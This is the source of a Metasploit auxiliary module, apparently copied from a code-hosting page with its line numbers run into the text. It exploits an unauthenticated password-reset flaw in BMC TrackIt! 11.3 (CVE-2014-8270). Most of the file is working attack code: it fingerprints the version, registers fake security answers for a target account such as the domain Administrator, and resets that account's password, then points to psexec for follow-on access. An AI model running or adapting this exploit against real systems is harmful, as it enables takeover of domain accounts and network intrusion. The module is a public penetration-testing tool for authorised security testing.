Path: blob/master/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',15'Description' => %q{16This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.317and possibly prior versions. If the password reset service is configured to use18a domain administrator (which is the recommended configuration), then domain19credentials can be reset (such as domain Administrator).20},21'References' => [22['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],23['CVE', '2014-8270']24],25'Author' => [26'bperry', # discovery/metasploit module,27'jhart'28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2014-12-09',31'Notes' => {32'Reliability' => UNKNOWN_RELIABILITY,33'Stability' => UNKNOWN_STABILITY,34'SideEffects' => UNKNOWN_SIDE_EFFECTS35}36)37)3839register_options(40[41OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),42OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),43OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),44OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])45]46)47end4849def localuser50datastore['LOCALUSER']51end5253def password_reset54begin55uri = normalize_uri(target_uri.path, 'PasswordReset')56send_request_cgi('uri' => uri)57rescue => e58vprint_error("#{peer}: unable to request #{uri}: #{e}")59nil60end61end6263def check_host(ip)64vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")6566unless (res = password_reset)67return68end6970if res.body =~ /<title>Track-It! Password Reset/i71version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first72if version73fix_version = '11.4'74if Rex::Version.new(version) < Rex::Version.new(fix_version)75report_vuln(76host: ip,77port: rport,78name: name,79info: "Module #{fullname} detected Track-It! version #{version}",80refs: references81)82vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")83return Exploit::CheckCode::Vulnerable84else85vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")86return Exploit::CheckCode::Safe87end88else89vprint_error("#{peer}: unable to get Track-It! version")90return Exploit::CheckCode::Unknown91end92else93vprint_status("#{peer}: does not appear to be running Track-It!")94return Exploit::CheckCode::Safe95end96end9798def run_host(ip)99return unless check_host(ip) == Exploit::CheckCode::Vulnerable100101if datastore['DOMAIN'].blank?102vprint_status("#{peer}: retrieving session cookie and domain name")103else104vprint_status("#{peer}: retrieving domain name")105end106107unless (res = password_reset)108return109end110111cookies = res.get_cookies112if datastore['DOMAIN'].blank?113if res.body =~ /"domainName":"([^"]*)"/114domain = Regexp.last_match(1)115vprint_status("#{peer}: found domain name: #{domain}")116else117print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")118return119end120else121domain = datastore['DOMAIN']122end123124full_user = "#{domain}\\#{localuser}"125vprint_status("#{peer}: registering #{full_user}")126answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]127res = send_request_cgi(128'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),129'method' => 'POST',130'cookie' => cookies,131'vars_post' => {132'domainname' => domain,133'userName' => localuser,134'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',135'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),136'updatequesChk' => 'false',137'SelectedQuestion' => 2,138'answer' => answers.last,139'confirmanswer' => answers.last140}141)142143if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"144print_error("#{peer}: Could not register #{full_user}")145return146end147148vprint_status("#{peer}: changing password for #{full_user}")149150if datastore['LOCALPASS'].blank?151password = Rex::Text.rand_text_alpha(10) + "!1"152else153password = datastore['LOCALPASS']154end155156res = send_request_cgi(157'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),158'method' => 'POST',159'cookie' => cookies,160'vars_post' => {161'newPassword' => password,162'domain' => domain,163'UserName' => localuser,164'CkbResetpassword' => 'true'165}166)167168if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'169print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")170return171end172173report_vuln(174host: ip,175port: rport,176name: name,177info: "Module #{fullname} changed #{full_user}'s password to #{password}",178refs: references179)180print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")181end182end183184185